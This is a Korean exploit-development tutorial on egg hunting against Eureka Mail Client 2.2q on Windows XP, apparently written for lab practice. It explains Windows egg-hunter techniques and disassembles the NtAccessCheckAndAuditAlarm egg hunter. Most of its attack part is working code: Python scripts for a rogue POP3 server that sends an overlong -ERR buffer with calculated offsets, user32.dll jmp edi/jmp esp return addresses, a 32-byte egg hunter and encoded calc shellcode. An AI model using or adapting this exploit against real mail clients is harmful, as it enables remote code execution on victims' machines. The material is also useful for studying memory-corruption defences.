익스플로잇실습 / 튜토리얼 Eureka Mail Client 2.2q Egg Hunting By WraithOfGhost
Eureka Mail Client_v2.2.q를이용하여에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python 2.7.10 - Ollydbg 1.x, Immunity Debugger 익스플로잇실습에앞서에그헌팅의전반적인내용에대하여간단하게 설명하고자한다. 에그헌팅은버퍼사이즈가너무작아서쉘코드를삽입하기어려울때 사용하는기술이다. 에그헌팅은 staged shellcode 범위에포함될수있고, 메모리에위치한실제쉘코드를찾는작은크기의사용자쉘코드를이용한다. 다시말하면앞쪽에위치한작은쉘코드가실행되면, 실제쉘코드로프로그램이이동해실행되는원리이다. 이를위해다음과같은 3가지조건이필요하다. 1. 공격자는일련의방법을통해쉘코드로이동하고실행할수있어야함 에그헌터라고불리는코드를삽입할것이기때문에사용할수있는가용버퍼사이즈는 상대적으로작아도됨. 다만에그헌터코드는예측가능한위치에존재해야함 2. 최종쉘코드는메모리어딘가에위치해야함 3. 최종쉘코드의앞부분에특정문자또는마커등으로태그를붙여야함 에그헌터쉘코드는메모리를쭉읽으면서해당태그를찾게됨. 쉘코드를찾게되면, jmp / call 등의명령어로태그뒤에위치한쉘코드를실행함. 즉공격자는에그헌터코드에태그를정의하고, 실제쉘코드의앞단에해당태그를붙여야함 윈도우환경에서에그헌팅기법은다음과같이크게 4가지로나뉜다. 1. SEH 주입이용 2. IsBadReadPtr 이용 3. NtDisplayString 이용 4. NtAccessCheck 이용 각기법에대한자세한설명은다음과같다.
1. SEH 주입사용 에그헌터사이즈 = 60bytes, 에그사이즈 = 8 bytes 에그헌터를사용하기위해, 공격자의페이로드는다음과같은형태여야한다. w00t 는이전에설명한태그를의미하는데, 이를헥사값으로표기해도된다. 참고로 SEH 주입은현재대부분의 OS 에서 SafeSEH 기법이적용된상태이기 때문에일반적인방법으로는공격이힘들기때문에이를우회하거나다른 종류의에그헌터기법을사용해야한다.
2. IsBadReadPtr 이용 에그헌터사이즈 = 37 bytes, 에그사이즈 = 8bytes 에그헌터페이로드 3. NtDisplayString 이용 에그헌터사이즈 = 32 bytes, 에그사이즈 = 8 bytes 에그헌터페이로드
4. NtAccessCheck 이용 NtDisplayString 과비슷한형태를가진다른에그헌터기법으로다음과 같은형태를가진다. NtDisplayString 기법대신에사용할수있는이기법은에그헌터를넘겨 받아서발생할수있는접근위반 Access Violation 오류를방지하기위해서 NtAccessCheckAndAutiAlarm (KiServiceTable 내부의오프셋 0x2) 을사용한다. * NtDisplayString / NtAccessCheckAndAuditAlarm 이 2개의에그헌터는비슷한기법을사용하지만접근위반의발생여부를확인하는시스템콜만다른것을사용한다. NtDisplayString 함수원형은다음과같다. NtAccessCheckAndAuditAlrm 함수원형은다음과같다. 해당함수원형을이용한페이로드를다시보여주자면다음과같다. 위페이로드가수행하는작업을정리하면다음과같다.
6681CAFF0F or dx, 0x0fff 페이지에있는마지막주소를가져옴 42 in edx 카운텨역할을수행 ( edx = edx + 1) 52 push edx 스택에 edx 값을삽입 ( 현재주소저장 ) 6A43 push byte + 0x2 NtAccessCheckAndAuditAlarm 을위해 0x2 삽입 / NtDisplayString 을위해 0x43 삽입 58 pop eax 0x2 / 0x43 값을 eax 로가져옴 이를이용해 eax 가시스템콜의인자로사용됨 CD2E int 0x2e 커널에게인자로사용되는레지스터 (eax) 를 이용해시스템콜을호출할것을알림 3C05 cmp al, 0x5 접근위반발생체크 ( 0xc0000005 == Access_Violation ) 5A pop edx edx 값복구 74EF je xxxx dx 0x0fffff 시작으로다시점프 B890509050 mov eax, 0x50905090 에그헌터의태그부분 8BFA mov edi, edx edi 레지스터를포인터로세트 AF scasd 상태비교 75EA jnz xxxx (int edx 주소로돌아감 ) 에그발견여부체크 AF scasd 상태비교 ( 에그가발견되면 ) 75E7 jnz xxxx ( int edx 주소로돌아감 ) 첫번째에그가발견되면 FFE7 jmp edi edi 는진짜쉘코드의시작부분을가리킴
이제실습을진행할차례이다. 일단취야점개요는, Eureka Mail Client v2.2q는클라이언트가 POP3 서버로접속할때취약점이발생한다. 만약 POP3 서버가조작된긴길이의 -ERR 데이터를클라이언트에게보내면, 클라이언트에서커럽션이발생하고임의의코드를실행할수있게된다. ( 이를 RCE 라고함 ) 일단이뮤니티디버거의 mona 플러그인을이용하여 2000 바이트의패턴을 생성한다. import sys,socket # 2000 bytes pattern pat = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7.. 생성된패턴 " payload = "-ERR" + pat s = socket.socket(socket.af_inet, socket.sock_stream) s.bind(('', 110)) s.listen(5) print "[*] Listening on tcp port 110" print "[*] Configure Eureka mail Client to connect to this host" while True: print "Waiting for connection..." conn,addr = s.accept() print "Connected by", addr while True: print "Sending Payload" conn.send(payload) print "Send %d bytes" % len(payload)
위와같은파이썬스크립트파일을만들어실행하여, 클라이언트가연결되기를 기다린다. 참고로 110 은 POP3 프로토콜의번호이다. 스크립트를실행하면위사진과같이실행되면서연결을기다린다. 이제 Eureka Mail Client 를실행하여 Options Connection Settings 를선택 한후파이썬스크립트로돌아가고있는서버의 IP 주소를입력한다. 인증에 필요한 Username,Password 값은임의로입력하면된다. 그리고이뮤니티디버거에서해당프로세스를 Attach 한뒤재실행시킨다. 재실행한뒤 F9 를눌러클라이언트가동작하는상태에서 File Send and Receive Emails 를선택한다. 해당메뉴를선택하는순간크래시가발생하면서클라이언트가종료된다.
이뮤니티의상태창을보면 37784136 주소에접근하지못하여예외가발생하였다. 예외발생을확인했으면명령어창에서!mona suggest 명령을실행한다. 해당명령어는 mona 플러그인을이용하여크래시를분석한뒤이전에생성한패턴을참조해오프셋을찾고어떤종류의공격이가능한지보여준다.!mona suggest 명령어결과의일부는위사진과같은데, 지금주목해야하는것은레지스터에대한정보 ( 특히파란색영역 ) 부분이다. 해당부분을통하여다음과같은사실을알수있다. - 직접 RET 영역을덮어쓸수있다. ( 710번째바이트다음부터가능 ) 참고로 Eureka 클라이언트에서사용하는서버의주소에따라해당오프셋은유동적으로변할수있다. 따라서공격코드를일반적으로만들어야하는데, 현재사용한 IP의길이를기본으로오프셋을계산하면된다. ( 724 서버주소의길이 ) ( 724 == 710 + 14 [ 192.168.100.90 길이 = 14 ] )
- ESP / EDI 레지스터는쉘코드를참조하는내용을가지고있다. ESP 는 714, EDI 는 994 바이트오프셋을가지고있다. 공격자는 ESP / EDI 레지스터로점프하여쉘코드를실행할수있는데위사진에서보는것처럼 ESP 레지스터는스택의메인쓰레드부분에존재하고, EDI 레지스터는어플리케이션의.data 섹션에존재한다. * ( ESP 를보면가용한쉘코드공간이상당히제한된것을볼수있음 ) 물론공격자는 ESP로점프하거나, ESP로다시점프하는점프코드를작성해 RET를덮어쓰기전에버퍼의큰부분 ( 쉘코드를삽입하기에충분한 ) 을사용할수도있다. 그렇다하더라도현재어플리케이션은약 700 바이트정도만사용할수있는데물론 PoC를위해서계산기를띄우기에는충분하지만공격자가원하는쉘코드 ( 예 : 리버스커넥션 ) 를실행하기에는부족할수도있다. 혹은 EDI 레지스터로점프할수도있다. 이를위해서 jump edi 명령을찾아야 하는데이를위해 mona 플러그인을이용하여!mona j r edi 명령을수행 하거나 findjmp.exe 프로그램을이용할수있다. 후자의방법이시간이훨씬적게들기때문에추천하는방법이다. 실습에서는 user32.dl 파일의 0x77CF10A0 주소를이용한다. 리턴주소를알아냈으니이전의파이썬스크립트파일을다음과같이수정한다. import sys,socket,struct ip = "192.168.100.90" pt = 110
junk = "A" * (724 - len(ip)) # get offset ret = struct.pack('<l', 0x77CF10A0) # RET Addr = jmp edi on user32.dll nops = "\x90" * 300 calc = "\x89\xe7\xda\xd4\xd9\x77\xf4\x5b\x53\x59\x49\x49\x49\x49\x49\x49\x49\x49\x4 9\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6 b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x4 2\x75\x4a\x49\x49\x6c\x78\x68\x4d\x59\x67\x70\x77\x70\x43\x30\x65\x30\x6b\x3 9\x5a\x45\x76\x51\x59\x42\x52\x44\x6e\x6b\x71\x42\x46\x50\x6e\x6b\x56\x32\x3 6\x6c\x4e\x6b\x53\x62\x66\x74\x6c\x4b\x33\x42\x36\x48\x34\x4f\x6f\x47\x51\x5 a\x75\x76\x75\x61\x39\x6f\x45\x61\x79\x50\x6c\x6c\x67\x4c\x70\x61\x53\x4c\x6 6\x62\x36\x4c\x57\x50\x5a\x61\x7a\x6f\x46\x6d\x63\x31\x5a\x67\x4a\x42\x4a\x5 0\x72\x72\x33\x67\x6c\x4b\x76\x32\x76\x70\x6c\x4b\x53\x72\x35\x6c\x46\x61\x4 a\x70\x6e\x6b\x31\x50\x50\x78\x6b\x35\x39\x50\x54\x34\x62\x6a\x67\x71\x4e\x3 0\x30\x50\x6c\x4b\x52\x68\x35\x48\x6e\x6b\x70\x58\x51\x30\x43\x31\x6a\x73\x5 a\x43\x55\x6c\x43\x79\x6c\x4b\x37\x44\x4c\x4b\x37\x71\x69\x46\x36\x51\x39\x6 f\x46\x51\x4f\x30\x4e\x4c\x4f\x31\x5a\x6f\x64\x4d\x37\x71\x5a\x67\x46\x58\x79 \x70\x43\x45\x4b\x44\x77\x73\x31\x6d\x4b\x48\x47\x4b\x51\x6d\x46\x44\x50\x75 \x39\x72\x30\x58\x6c\x4b\x53\x68\x75\x74\x35\x51\x59\x43\x65\x36\x6c\x4b\x36 \x6c\x52\x6b\x6e\x6b\x42\x78\x47\x6c\x63\x31\x48\x53\x6e\x6b\x63\x34\x4e\x6b \x56\x61\x7a\x70\x6c\x49\x73\x74\x34\x64\x56\x44\x63\x6b\x53\x6b\x43\x51\x61 \x49\x43\x6a\x66\x31\x4b\x4f\x4b\x50\x31\x48\x71\x4f\x33\x6a\x6c\x4b\x32\x32 \x48\x6b\x6e\x66\x31\x4d\x51\x7a\x76\x61\x6c\x4d\x6e\x65\x4f\x49\x37\x70\x67 \x70\x63\x30\x72\x70\x70\x68\x44\x71\x4e\x6b\x32\x4f\x6b\x37\x39\x6f\x38\x55\ x4f\x4b\x7a\x50\x6d\x65\x6c\x62\x70\x56\x55\x38\x6f\x56\x4d\x45\x6d\x6d\x6f\x 6d\x39\x6f\x4b\x65\x55\x6c\x74\x46\x63\x4c\x55\x5a\x6d\x50\x49\x6b\x6b\x50\x 64\x35\x67\x75\x6f\x4b\x72\x67\x57\x63\x71\x62\x62\x4f\x30\x6a\x57\x70\x36\x3 3\x69\x6f\x68\x55\x73\x53\x61\x71\x72\x4c\x30\x63\x44\x6e\x70\x65\x32\x58\x3 2\x45\x65\x50\x41\x41" # calc shellcode ex = junk + ret + nops + calc payload = "-ERR" + ex s = socket.socket(socket.af_inet, socket.sock_stream) s.bind((ip, pt)) s.listen(5) print "[*] Listening on tcp port 110" print "[*] Configure Eureka mail Client to connect to this host"
while True: print "Waiting for connection..." conn,addr = s.accept() print "Connected by", addr while True: print "Sending Payload" conn.send(payload) print "Sent %d bytes" % len(payload) 해당스크립트파일을실행하고, Eureka 클라이언트를이뮤니티디버거에 attach 시킨다음, 리턴주소인 0x77CF10A0 주소에 bp 를설치한다. 설치이후페이로드를테스트하기위해 Eureka 클라이언트에서 File Send and Receive Emails 를선택한다. ( 이하페이로드실행 ) 페이로드가실행되면디버거는 jmp edi에서멈추는데, 이때 edi 레지스터에는쉘코드대신에수많은 A가존재한다. 다행히 A는공격자가컨트롤할수있는값이다. 이런시나리오는가용버퍼공간이 700 바이트라는것을제외하면일반적인 jmp esp와비슷하다.
어쨌든쉘코드가메모리어디쯤에위치하는지보기위해수많은 A 를뒤로 하고스크롤을계속내리면위사진처럼 0x00473A48 에있는것을볼수있다. 문제는해당주소가정적이아닐수도있다는것이다. 따라서공격코드를좀더 동적으로만들고, 에그헌터를사용하여쉘코드를실행시킬것이다. 일단 JMP ESP 를사용할것인데, ESP 레지스터에에그헌터코드를올리고약간의 패딩 (nops) 을추가한다음진짜쉘코드를뒤에추가할것이다. 이런페이로드라면 쉘코드위치에관계없이에그헌터는쉘코드를찾아실행할수있을것이다. 위예제에서사용된태그는 w00t 문자열이다. 위의 32 바이트쉘코드는메모리에서 w00t 를찾아그뒤에있는코드를실행한다. 따라서이쉘코드는 esp 레지스터에올려야한다. 그리고페이로드에쉘코드를추가할때앞쪽에 w00tw00t 문자열을추가해야한다. 이제다시파이썬스크립트를수정해야하는데그전에우선 jmp esp 명령어의위치부터찾는다. ( user32.dll 파일의 0x77CF10B1 이용 ) 해당주소를이용하여다음과같이스크립트를수정한다. import sys,socket,struct ip = "192.168.100.90" pt = 110 junk = "A" * (724 - len(ip)) ret = struct.pack('<l', 0x77CF10B1) # RET Addr = jmp esp on user32.dll nops = "\x90" * 1000 # egghunter (32 bytes) egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8" "\x77\x30\x30\x74" # this is the egg: w00t "\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
# calc shellcode calc = "\x89\xe7\xda\xd4\xd9\x77\xf4\x5b\x53\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49 \x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b \x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42 \x75\x4a\x49\x49\x6c\x78\x68\x4d\x59\x67\x70\x77\x70\x43\x30\x65\x30\x6b\x39 \x5a\x45\x76\x51\x59\x42\x52\x44\x6e\x6b\x71\x42\x46\x50\x6e\x6b\x56\x32\x36 \x6c\x4e\x6b\x53\x62\x66\x74\x6c\x4b\x33\x42\x36\x48\x34\x4f\x6f\x47\x51\x5a\ x75\x76\x75\x61\x39\x6f\x45\x61\x79\x50\x6c\x6c\x67\x4c\x70\x61\x53\x4c\x66\x 62\x36\x4c\x57\x50\x5a\x61\x7a\x6f\x46\x6d\x63\x31\x5a\x67\x4a\x42\x4a\x50\x 72\x72\x33\x67\x6c\x4b\x76\x32\x76\x70\x6c\x4b\x53\x72\x35\x6c\x46\x61\x4a\x 70\x6e\x6b\x31\x50\x50\x78\x6b\x35\x39\x50\x54\x34\x62\x6a\x67\x71\x4e\x30\x 30\x50\x6c\x4b\x52\x68\x35\x48\x6e\x6b\x70\x58\x51\x30\x43\x31\x6a\x73\x5a\x 43\x55\x6c\x43\x79\x6c\x4b\x37\x44\x4c\x4b\x37\x71\x69\x46\x36\x51\x39\x6f\x 46\x51\x4f\x30\x4e\x4c\x4f\x31\x5a\x6f\x64\x4d\x37\x71\x5a\x67\x46\x58\x79\x7 0\x43\x45\x4b\x44\x77\x73\x31\x6d\x4b\x48\x47\x4b\x51\x6d\x46\x44\x50\x75\x3 9\x72\x30\x58\x6c\x4b\x53\x68\x75\x74\x35\x51\x59\x43\x65\x36\x6c\x4b\x36\x6 c\x52\x6b\x6e\x6b\x42\x78\x47\x6c\x63\x31\x48\x53\x6e\x6b\x63\x34\x4e\x6b\x5 6\x61\x7a\x70\x6c\x49\x73\x74\x34\x64\x56\x44\x63\x6b\x53\x6b\x43\x51\x61\x4 9\x43\x6a\x66\x31\x4b\x4f\x4b\x50\x31\x48\x71\x4f\x33\x6a\x6c\x4b\x32\x32\x48 \x6b\x6e\x66\x31\x4d\x51\x7a\x76\x61\x6c\x4d\x6e\x65\x4f\x49\x37\x70\x67\x70 \x63\x30\x72\x70\x70\x68\x44\x71\x4e\x6b\x32\x4f\x6b\x37\x39\x6f\x38\x55\x4f\ x4b\x7a\x50\x6d\x65\x6c\x62\x70\x56\x55\x38\x6f\x56\x4d\x45\x6d\x6d\x6f\x6d\ x39\x6f\x4b\x65\x55\x6c\x74\x46\x63\x4c\x55\x5a\x6d\x50\x49\x6b\x6b\x50\x64\ x35\x67\x75\x6f\x4b\x72\x67\x57\x63\x71\x62\x62\x4f\x30\x6a\x57\x70\x36\x33\x 69\x6f\x68\x55\x73\x53\x61\x71\x72\x4c\x30\x63\x44\x6e\x70\x65\x32\x58\x32\x4 5\x65\x50\x41\x41" ex = junk + ret + egghunter + nops + "w00tw00t" + calc payload = "-ERR" + ex s = socket.socket(socket.af_inet, socket.sock_stream) s.bind((ip, pt)) s.listen(5) print "[*] Listening on tcp port 110" print "[*] Configure Eureka mail Client to connect to this host"
while True: print "Waiting for connection..." conn,addr = s.accept() print "Connected by", addr while True: print "Sending Payload" conn.send(payload) print "Sent %d bytes" % len(payload) 이전처럼동일하게위스크립트를실행한뒤리턴주소 (0x77CF10B1) 에 bp 를 설치한뒤페이로드를실행한다. esp 레지스터를보면 0012CD6C 값을가지고있는데이를덤프창에서보면 0x12CD7E 주소에공격자가입력한태그문자인 w00t 가존재하는것을볼수 있다. 태그를확인했으니 F9 를눌러클라이언트를실행시킨다. 클라이언트를실행시키면위사진에서보는것처럼성공적으로계산기가실행 된것을볼수있다.
계산기가실행되었으니익스플로잇은성공적인데재밌는점은위사진에서보는것처럼공격자가입력한 nops 뒤에쉘코드가없는것을볼수있다. 이전의파이썬스크립트에서는분명에그헌팅 + nops + w00tw00t + 계산기쉘코드형태로입력했지만 w00tw00t + 계산기부분이빠진것이다. 빠진부분을찾기위해위사진처럼 w00tw00t 문자열을검색하면 ESP 레지스터가가리키는주소 (0012CD6C) 의조금뒷부분 (0012DBAE) 에위치한것을 볼수있다. 여기서눈치가빠른사람이라면약간의문제를예상할수있다. 지금처럼 ESP 레지스터의주소와쉘코드의주소차이가크지않다면별상관없지만주소차이가크거나쉘코드가힙영역에있는경우쉘코드를찾는시간이상당히길어지게된다. 이를위해서는에그헌터가검색을시작하는위치를바꿔야한다.
에그헌터시작위치변경 ( 속도 + 신뢰성증가 ) 이전실습에있는에그헌터가실행될때, 다음과같은명령어가수행된다. ( EDX = 0x0012E468 / 에그헌터 = 0x0012F555 라고가정함 ) 첫번째명령은 EDX에 0x0012FFFF를대입한다. 다음명령은 (inc edx) 은 EDX에 1을더한다. 이러면 EDX = 0x00130000 가된다. 이것이현재스택프레임의끝이고, 쉘코드검색은같은스택프레임에위치한쉘코드의복사본을찾을수있는잠정적인위치에서시작하지않게된다. 그리고에그 + 쉘코드는메모리어딘가에위치하기때문에에그헌터는결국에그 + 쉘코드조합을찾아낼수있다. 이경우 ( 쉘코드가같은스택프레임에없는 ) 에는별문제가없다. 문제는쉘코드가현재 ( 동일한 ) 스택프레임에서만발견되는상황이라면, 에그헌터를사용한다하더라고쉘코드를찾을수없다. ( 쉘코드가위치한주소의다음부터검색하기때문 ). 물론공격자가약간의코드를실행할수만있는상황이고, 쉘코드가스택에위치한다면오프셋을이용해직접점프하여쉘코드를실행시킬수있지만이역시신뢰성이떨어진다. 어쨌든일련의이유로인해에그헌터를조금변경하여올바른위치부터검색을 시작하도록만들어야하는상황이생길수있다. 디버깅을통하여에그헌터가실행될때 EDI 레지스터를살펴보면검색시작위치를알수있다. 시작위치를수정하려면에그헌터의첫번째명령어를약간수정하는방법도나쁘지않다. 예를들어 FF0F => 0000 으로변경하면현재스택프레임부터검색을시작할수있다. 그러나이방법도변경한바이트가널바이트라는것을고려해야한다. 만일널바이트를포함한 Bad Character 바이트들이문제가된다면다음과같이해결할수도있다. - 현재스택프레임의첫부분을찾아해당값을 EDI 에대입 - 다른레지스터의내용을 EDI 에삽입 - ImageBase 값을찾아서 EDP 삽입
- 사용자임의값을 EDI 삽입 ( 주소를하드코딩하는것은권장하지않음 ) - 힙의시작위치를찾아해당값을 EDI에삽입 - TEB+0x30 에위치한 PEB를가져와서, PEB+0x90 에있는모든프로세스힙을가져오면됨 물론에그헌터가잘동작하는데도시작주소를왜바꿔야하는지의문이들수있다. 공격자가제작한최종페이로드는메모리에서여러위치에존재하는경우가대부분이다. 하지만일부주소의복사본들에대해서는쉘코드가깨져있는경우가있다. 에그헌터의특성상쉘코드앞에위치한태그만확인하기때문에뒤쪽의쉘코드가깨져있더라고검증하지못한다. 따라서이런상황이라면에그헌터의시작주소를재배치하고새로운주소에서검색을시작하게만들어깨지지않은, 온전한쉘코드를검색하는것이좋은방법이될수있다. 참고로쉘코드가메모리어디에위치하는지, 온전한지확인할수있게 mona 플러그인에서는!mona compare 명령어를이용할수있다.